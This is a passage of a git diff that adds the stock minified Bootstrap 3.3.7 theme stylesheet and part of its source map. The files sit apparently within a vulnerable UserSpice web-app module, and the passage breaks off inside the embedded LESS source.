GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#e38d13}.btn-warning:focus,.btn-warning:hover{background-color:#eb9316;background-position:0 -15px}.btn-warning.active,.btn-warning:active{background-color:#eb9316;border-color:#e38d13}.btn-warning.disabled,.btn-warning.disabled.active,.btn-warning.disabled.focus,.btn-warning.disabled:active,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled],.btn-warning[disabled].active,.btn-warning[disabled].focus,.btn-warning[disabled]:active,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning,fieldset[disabled] .btn-warning.active,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:active,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#eb9316;background-image:none}.btn-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c12e2a));background-image:linear-gradient(to bottom,#d9534f 0,#c12e2a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#b92c28}.btn-danger:focus,.btn-danger:hover{background-color:#c12e2a;background-position:0 -15px}.btn-danger.active,.btn-danger:active{background-color:#c12e2a;border-color:#b92c28}.btn-danger.disabled,.btn-danger.disabled.active,.btn-danger.disabled.focus,.btn-danger.disabled:active,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled],.btn-danger[disabled].active,.btn-danger[disabled].focus,.btn-danger[disabled]:active,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger,fieldset[disabled] .btn-danger.active,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:active,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#c12e2a;background-image:none}.img-thumbnail,.thumbnail{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#e8e8e8;background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{background-color:#2e6da4;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.navbar-default{background-image:-webkit-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-o-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#f8f8f8));background-image:linear-gradient(to bottom,#fff 0,#f8f8f8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075)}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.open>a{background-image:-webkit-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-o-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dbdbdb),to(#e2e2e2));background-image:linear-gradient(to bottom,#dbdbdb 0,#e2e2e2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.075);box-shadow:inset 0 3px 9px rgba(0,0,0,.075)}.navbar-brand,.navbar-nav>li>a{text-shadow:0 1px 0 rgba(255,255,255,.25)}.navbar-inverse{background-image:-webkit-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-o-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#3c3c3c),to(#222));background-image:linear-gradient(to bottom,#3c3c3c 0,#222 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-radius:4px}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.open>a{background-image:-webkit-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-o-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#080808),to(#0f0f0f));background-image:linear-gradient(to bottom,#080808 0,#0f0f0f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.25);box-shadow:inset 0 3px 9px rgba(0,0,0,.25)}.navbar-inverse .navbar-brand,.navbar-inverse .navbar-nav>li>a{text-shadow:0 -1px 0 rgba(0,0,0,.25)}.navbar-fixed-bottom,.navbar-fixed-top,.navbar-static-top{border-radius:0}@media (max-width:767px){.navbar .navbar-nav .open .dropdown-menu>.active>a,.navbar .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}}.alert{text-shadow:0 1px 0 rgba(255,255,255,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05)}.alert-success{background-image:-webkit-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#c8e5bc));background-image:linear-gradient(to bottom,#dff0d8 0,#c8e5bc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);background-repeat:repeat-x;border-color:#b2dba1}.alert-info{background-image:-webkit-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#b9def0));background-image:linear-gradient(to bottom,#d9edf7 0,#b9def0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);background-repeat:repeat-x;border-color:#9acfea}.alert-warning{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#f8efc0));background-image:linear-gradient(to bottom,#fcf8e3 0,#f8efc0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);background-repeat:repeat-x;border-color:#f5e79e}.alert-danger{background-image:-webkit-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-o-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#e7c3c3));background-image:linear-gradient(to bottom,#f2dede 0,#e7c3c3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);background-repeat:repeat-x;border-color:#dca7a7}.progress{background-image:-webkit-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#f5f5f5));background-image:linear-gradient(to bottom,#ebebeb 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x}.progress-bar{background-image:-webkit-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-o-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#286090));background-image:linear-gradient(to bottom,#337ab7 0,#286090 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);background-repeat:repeat-x}.progress-bar-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#449d44));background-image:linear-gradient(to bottom,#5cb85c 0,#449d44 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);background-repeat:repeat-x}.progress-bar-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#31b0d5));background-image:linear-gradient(to bottom,#5bc0de 0,#31b0d5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);background-repeat:repeat-x}.progress-bar-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#ec971f));background-image:linear-gradient(to bottom,#f0ad4e 0,#ec971f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);background-repeat:repeat-x}.progress-bar-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c9302c));background-image:linear-gradient(to bottom,#d9534f 0,#c9302c 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);background-repeat:repeat-x}.progress-bar-striped{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.list-group{border-radius:4px;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{text-shadow:0 -1px 0 #286090;background-image:-webkit-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2b669a));background-image:linear-gradient(to bottom,#337ab7 0,#2b669a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);background-repeat:repeat-x;border-color:#2b669a}.list-group-item.active .badge,.list-group-item.active:focus .badge,.list-group-item.active:hover .badge{text-shadow:none}.panel{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.05);box-shadow:0 1px 2px rgba(0,0,0,.05)}.panel-default>.panel-heading{background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.panel-primary>.panel-heading{background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.panel-success>.panel-heading{background-image:-webkit-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#d0e9c6));background-image:linear-gradient(to bottom,#dff0d8 0,#d0e9c6 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);background-repeat:repeat-x}.panel-info>.panel-heading{background-image:-webkit-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#c4e3f3));background-image:linear-gradient(to bottom,#d9edf7 0,#c4e3f3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);background-repeat:repeat-x}.panel-warning>.panel-heading{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#faf2cc));background-image:linear-gradient(to bottom,#fcf8e3 0,#faf2cc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);background-repeat:repeat-x}.panel-danger>.panel-heading{background-image:-webkit-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-o-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#ebcccc));background-image:linear-gradient(to bottom,#f2dede 0,#ebcccc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);background-repeat:repeat-x}.well{background-image:-webkit-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#e8e8e8),to(#f5f5f5));background-image:linear-gradient(to bottom,#e8e8e8 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x;border-color:#dcdcdc;-webkit-box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1)} +/*# sourceMappingURL=bootstrap-theme.min.css.map */ \ No newline at end of file diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.min.css.map b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.min.css.map new file mode 100644 index 000000000..94813e900 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.min.css.map @@ -0,0 +1 @@ +{"version":3,"sources":["less/theme.less","less/mixins/vendor-prefixes.less","less/mixins/gradients.less","less/mixins/reset-filter.less"],"names":[],"mappings":"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","sourcesContent":["/*!\n * Bootstrap v3.3.7 (http://getbootstrap.com)\n * Copyright 2011-2016 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n\n//\n// Load core variables and mixins\n// --------------------------------------------------\n\n@import \"variables.less\";\n@import \"mixins.less\";\n\n\n//\n// Buttons\n// --------------------------------------------------\n\n// Common styles\n.btn-default,\n.btn-primary,\n.btn-success,\n.btn-info,\n.btn-warning,\n.btn-danger {\n text-shadow: 0 -1px 0 rgba(0,0,0,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 1px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n // Reset the shadow\n &:active,\n &.active {\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n .box-shadow(none);\n }\n\n .badge {\n text-shadow: none;\n }\n}\n\n// Mixin for generating new styles\n.btn-styles(@btn-color: #555) {\n #gradient > .vertical(@start-color: @btn-color; @end-color: darken(@btn-color, 12%));\n .reset-filter(); // Disable gradients for IE9 because filter bleeds through rounded corners; see https://github.com/twbs/bootstrap/issues/10620\n background-repeat: repeat-x;\n border-color: darken(@btn-color, 14%);\n\n &:hover,\n &:focus {\n background-color: darken(@btn-color, 12%);\n background-position: 0 -15px;\n }\n\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n border-color: darken(@btn-color, 14%);\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n &,\n &:hover,\n &:focus,\n &.focus,\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n background-image: none;\n }\n }\n}\n\n// Common styles\n.btn {\n // Remove the gradient for the pressed/active state\n &:active,\n &.active {\n background-image: none;\n }\n}\n\n// Apply the mixin to the buttons\n.btn-default { .btn-styles(@btn-default-bg); text-shadow: 0 1px 0 #fff; border-color: #ccc; }\n.btn-primary { .btn-styles(@btn-primary-bg); }\n.btn-success { .btn-styles(@btn-success-bg); }\n.btn-info { .btn-styles(@btn-info-bg); }\n.btn-warning { .btn-styles(@btn-warning-bg); }\n.btn-danger { 